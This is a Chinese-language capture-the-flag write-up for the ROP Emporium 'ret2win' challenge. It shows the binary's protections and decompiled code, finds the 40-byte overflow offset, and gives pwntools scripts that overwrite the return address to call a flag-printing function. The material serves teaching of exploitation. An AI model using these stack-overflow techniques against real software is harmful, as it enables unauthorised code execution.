ret2win

题目地址: ret2win

0x1

拿到题目后,首先检查一下文件类型,看看保护机制。

sakura@Kylin:~/下载/ret2win$ file ret2win
ret2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=19abc0b3bb228157af55b8e16af7316d54ab0597, not stripped
sakura@Kylin:~/下载/ret2win$ checksec ret2win
[*] '/home/sakura/下载/ret2win/ret2win'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

它是一个 64 位的程序,可以看到只开启了 NX。要想绕过它,就要运用 ROP 技术了。

0x2

再把它拖进 IDA 看看。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts("ret2win by ROP Emporium");
  puts("x86_64\n");
  pwnme();
  puts("\nExiting");
  return 0;
}
int pwnme()
{
  char s[32]; // [rsp+0h] [rbp-20h] BYREF

  memset(s, 0, sizeof(s));
  puts("For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!");
  puts("What could possibly go wrong?");
  puts("You there, may I have your input please? And don't worry about null bytes, we're using read()!\n");
  printf("> ");
  read(0, s, 0x38uLL);
  return puts("Thank you!");
}

这里我们发现了一个 ret2win() 函数

int ret2win()
{
  puts("Well done! Here's your flag:");
  return system("/bin/cat flag.txt");
}

image-20220912214133774

这里能打印出 flag.txt ,所以我们就通过将返回地址覆盖为 0x400756,来调用这个函数。

先来看看,需要填充多少字符才能覆盖到返回地址。

老规矩启用 peda,pattern create 200 ,调试到 ret 指令,此时栈的情况如下: image-20220912215027379

pattern offset AA0AAFAAbAA1AAGA
AA0AAFAAbAA1AAGA found at offset: 40

0x3

构建脚本 ret2win.py

from pwn import *
context.log_level = 'debug'

p = process("./ret2win")
gdb.attach(p, "break main")
bin_addr = 0x400756
payload = b'a'*40 + p64(bin_addr)
p.recvuntil(b"> ")
input("already...")
p.sendline(payload)
input("send payload after...")
p.recvuntil(b"Here's your flag: ")
p.interactive()
success(flag)

我在本地测试时,碰到了下面这个问题,查资料 本地测试碰到的问题及其解决方法 说是栈操作导致无法对齐 0x10 的原因。

image-20220912232441944

将 ret2win.py 的 bin_addr = 0x40075a 跳过栈操作,即可。

from pwn import *
#context.log_level = 'debug'

p = process("./ret2win")
#gdb.attach(p, "break main")
bin_addr = 0x40075a
payload = b'a'*40 + p64(bin_addr)
p.recvuntil(b"> ")
#input("already")
p.sendline(payload)
#input("send payload after")
p.recvuntil(b"Here's your flag:\n")
flag=p.recvline()
#p.interactive()
print(flag)

结果:

image-20220912233639670